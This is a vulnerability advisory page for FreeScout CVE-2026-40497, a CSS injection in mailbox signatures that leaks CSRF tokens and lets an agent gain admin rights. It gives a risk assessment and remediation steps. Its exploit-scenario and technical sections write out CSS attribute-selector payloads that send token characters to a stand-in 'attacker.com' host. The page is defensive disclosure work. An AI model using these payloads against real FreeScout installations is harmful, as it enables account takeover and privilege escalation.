Skip to main content

Freescout CVE-2026-40497

| EUVDEUVD-2026-24052 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-04-21 GitHub_M
8.1
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Gain mailbox admin credentials
  2. Delivery
    Inject CSS token exfiltrator in signature
  3. Exploit
    Wait for admin conversation view
  4. Install
    Exfiltrate CSRF token via CSS selectors
  5. C2
    Craft CSRF request with stolen token
  6. Execute
    Create admin account
  7. Impact
    Maintain persistent access

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attack requires authenticated access with mailbox settings modification permissions (typically admin or privileged agent role in FreeScout's permission model). Victim user with higher privileges (admin) must actively view a conversation in the compromised mailbox, triggering signature rendering. The application's default CSP configuration must permit 'unsafe-inline' styles (confirmed in advisory as style-src * 'self' 'unsafe-inline'). Attacker needs external infrastructure to receive CSS exfiltration requests and sufficient time for victim interaction (token exfiltration requires multiple page views for complete extraction). Exploitation is limited by FreeScout's role-based access control - default agent accounts without mailbox admin rights cannot exploit this. Organizations that removed 'unsafe-inline' from CSP or implemented strict mailbox permission segregation are not vulnerable despite running affected versions.

Impact

Real-world risk is MODERATE despite CVSS 8.1 High rating. CVSS vector (AV:N/AC:L/PR:H/UI:R/S:C) indicates network-accessible attack with low complexity but requires high privileges (mailbox admin/agent access) and user interaction (victim must view conversation). Changed scope (S:C) reflects privilege escalation impact. The attack chain requires: (1) compromised or malicious insider with mailbox settings access, (2) victim admin/agent viewing affected conversation, (3) multi-step CSRF token exfiltration via CSS injection, (4) subsequent CSRF attack using stolen token. Attack complexity is LOW for the injection itself but MEDIUM-to-HIGH for complete exploitation chain including token exfiltration and weaponization. No public exploit code identified at time of analysis, and no CISA KEV listing indicates targeted rather than widespread exploitation. Primary risk scenarios: malicious insiders, compromised low-privilege agent accounts in multi-tenant environments, or supply-chain attacks against FreeScout installations. Organizations with strict least-privilege access controls and CSP monitoring have reduced exposure. SSVC assessment: exploitation state is proof-of-concept (detailed in advisory), not automatable (requires authenticated access and social engineering), technical impact is total (privilege escalation to admin). Prioritize patching for internet-facing installations with multiple agent tiers.

Exploit ScenarioDerived

A malicious agent with mailbox configuration permissions injects crafted CSS into the mailbox signature field: <style>input[name='_token'][value^='a']{background:url(https://attacker.com/exfil?c=a)}</style>. When a senior admin views any conversation in that mailbox, their browser renders the signature and the CSS attribute selector matches the CSRF token's first character, triggering an HTTP request to the attacker's server. The attacker repeats with selectors for each character position until the complete token is exfiltrated. With the stolen CSRF token, the attacker crafts POST requests to create a new admin account or modify the existing admin's credentials, escalating from limited agent privileges to full administrative control.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Apr 21, 2026

CSS injection in FreeScout mailbox signatures enables CSRF token exfiltration and privilege escalation from authenticated agents to administrators. The vulnerability exists in FreeScout versions prior to 1.8.213 where incomplete input sanitization fails to strip <style> tags from mailbox signature fields. Attackers with mailbox configuration access leverage CSS attribute selectors to steal CSRF tokens from viewing users, then perform arbitrary state-changing actions including admin account creation. EPSS data not available; no confirmed active exploitation (CISA KEV absent). Vendor patch released in version 1.8.213 with complete fix addressing previous incomplete remediation (GHSA-jqjf-f566-485j).

Earlier versions of this analysis (2)
v2 Apr 21, 2026 - 03:27 cvss changed CVSS 8.1

CSS injection in FreeScout's mailbox signature field enables CSRF token exfiltration and privilege escalation from agent to administrator. Authenticated users with mailbox settings access can inject malicious CSS via <style> tags (not stripped by the sanitization function) to steal CSRF tokens from any admin/admin viewing conversations, then perform arbitrary state-changing actions including admin account creation. This vulnerability (CVSS 8.1, EPSS data not provided) results from an incomplete fix of a prior XSS issue (GHSA-jqjf-f566-485j). Vendor patch released in version 1.8.213 with commit 5aa8d63.

v1 Apr 21, 2026 - 02:55 CVSS 8.1

CSS injection in FreeScout mailbox signatures enables CSRF token exfiltration and privilege escalation from agent to administrator. Affects all versions before 1.8.213. Authenticated attackers with mailbox settings permissions inject malicious CSS via <style> tags (bypassing incomplete XSS fix from GHSA-jqjf-f566-485j) to steal CSRF tokens from victim admins/agents viewing conversations, then perform state-changing actions including admin account creation. Public exploit code not identified; EPSS data unavailable. Patch released in version 1.8.213.

RemediationAI

Upgrade FreeScout to version 1.8.213 or later immediately, which contains comprehensive fix via commit 5aa8d633216f65995e80a7d4a921b784acc94df4 (https://github.com/freescout-help-desk/freescout/commit/5aa8d633216f65995e80a7d4a921b784acc94df4). Release details at https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213. If immediate upgrade is not feasible, implement compensating controls: (1) Restrict mailbox settings access to only fully-trusted administrators via role-based access controls, removing this permission from agent roles (trade-off: reduces operational flexibility). (2) Implement Web Application Firewall rules to block <style> tags in POST requests to /mailbox/settings/* endpoints (trade-off: may cause false positives if legitimate styling is needed, requires WAF infrastructure). (3) Modify Content Security Policy to remove 'unsafe-inline' from style-src directive and use nonce-based CSP (trade-off: requires application code changes to add nonces to legitimate inline styles, potentially breaking existing functionality). (4) Deploy network egress monitoring to detect CSS exfiltration attempts via unusual external resource requests from authenticated sessions (trade-off: generates alert fatigue, requires SIEM correlation). Patch is strongly preferred as workarounds significantly impact usability.

Affected VersionsENISA

freescout < 1.8.213

Affected Packages

euvd freescout fix: 1.8.213

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

FreeScout is a PHP-based open-source help desk system with shared mailbox functionality (cpe:2.3:a:freescout-help-desk:freescout). The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the Helper::stripDangerousTags() sanitization function. This function removes <script>, <form>, <iframe>, and <object> tags but omits <style> tags. Mailbox signatures are saved via POST /mailbox/settings/{id} and rendered server-side using Laravel Blade syntax {!! $conversation->getSignatureProcessed([], true) !!} without HTML escaping. The application's Content Security Policy permits 'unsafe-inline' for style-src, allowing injected CSS to execute. CSS attribute selectors (e.g., input[name^='_token'][value^='a'] { background: url(//attacker.com?a); }) can be weaponized to exfiltrate CSRF tokens character-by-character through external resource requests, enabling Cross-Site Request Forgery attacks that bypass Same-Origin Policy protections.

Know when Freescout gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.1 HIGH
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

5
Patch released
Apr 23, 2026 - 16:32 nvd
Patch available
Analysis Updated
Apr 21, 2026 - 14:29 vuln.today
v3 - CVSS changed
Patch available
Apr 21, 2026 - 05:01 EUVD
Analysis Updated
Apr 21, 2026 - 03:27 vuln.today
v2 - CVSS changed
CVE Published
Apr 21, 2026 - 01:45 nvd
HIGH 8.1

DescriptionGitHub Advisory

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, FreeScout's Helper::stripDangerousTags() removes <script>, <form>, <iframe>, <object> but does NOT strip <style> tags. The mailbox signature field is saved via POST /mailbox/settings/{id} and later rendered unescaped via {!! $conversation->getSignatureProcessed([], true) !!} in conversation views. CSP allows style-src * 'self' 'unsafe-inline', so injected inline styles execute freely. An attacker with access to mailbox settings (admin or agent with mailbox permission) can inject CSS attribute selectors to exfiltrate the CSRF token of any agent/admin who views a conversation in that mailbox. With the CSRF token, the attacker can perform any state-changing action as the victim (create admin accounts, change email/password, etc.) - privilege escalation from agent to admin. This is the result of an incomplete fix of GHSA-jqjf-f566-485j. That advisory reported XSS via mailbox signature. The fix applied Helper::stripDangerousTags() to the signature before saving. However, stripDangerousTags() only removes script, form, iframe, and object tags - it does NOT strip <style> tags, leaving CSS injection possible. Version 1.8.213 contains an updated fix.

Executive ViewAI

Why It Matters

FreeScout versions before 1.8.213 contain a CSS injection vulnerability in mailbox signatures that allows authenticated agents to steal CSRF tokens and escalate privileges to administrator level. This directly threatens organizational security governance by enabling unauthorized administrative access and account creation without detection. All FreeScout deployments with agent-level users require immediate patching to prevent lateral privilege escalation.

Business Impact: High
Compensating Controls

Vendor-released patch: FreeScout version 1.8.213. If immediate patching is not possible, restrict mailbox signature modification to administrator role only and disable agent access to signature configuration until patch is deployed.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Social Media
4
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Related Vulnerabilities in FreeScout Authentication and XSS Flaws

View all 2
CVE-2026-28289 CRITICAL POC
10.0 Mar 03

File upload bypass in FreeScout 1.8.206 — patch bypass for CVE-2026-27636. PoC and patch available. CVSS 10.0.

CVE-2026-27636 HIGH POC
8.8 Feb 25

Remote code execution in FreeScout prior to version 1.8.206 allows authenticated users to upload `.htaccess` files that

CVE-2026-27637 CRITICAL POC
9.8 Feb 25

Predictable password reset tokens in FreeScout help desk before 1.8.206. Weak random number generation allows attackers

CVE-2026-53595 CRITICAL POC
9.4 Jul 20

Anonymous account takeover in FreeScout help desk before 1.8.224 lets an unauthenticated attacker seize the lowest-id ac

CVE-2024-29185 CRITICAL POC
9.0 Mar 22

FreeScout is a self-hosted help desk and shared mailbox. Rated critical severity (CVSS 9.0), this vulnerability is remot

CVE-2025-58163 HIGH POC
8.6 Sep 03

FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Rated high severity (CVSS 8.6), this

CVE-2024-29184 HIGH POC
8.0 Mar 22

FreeScout is a self-hosted help desk and shared mailbox. Rated high severity (CVSS 8.0), this vulnerability is remotely

CVE-2024-28186 HIGH POC
7.1 Mar 12

FreeScout is an open source help desk and shared inbox built with PHP. Rated high severity (CVSS 7.1), this vulnerabilit

CVE-2024-34698 MEDIUM POC
6.3 May 14

FreeScout is a free, self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.3), this vulnerability is r

CVE-2024-34697 MEDIUM POC
6.1 May 14

FreeScout is a free, self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.1), this vulnerability is r

CVE-2026-32754 CRITICAL
9.3 Mar 19

A stored cross-site scripting (XSS) vulnerability exists in FreeScout help desk software versions 1.8.208 and below, whe

CVE-2026-41193 CRITICAL
9.1 Apr 21

Arbitrary file write in FreeScout (prior to 1.8.215) allows authenticated administrators to achieve remote code executio

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy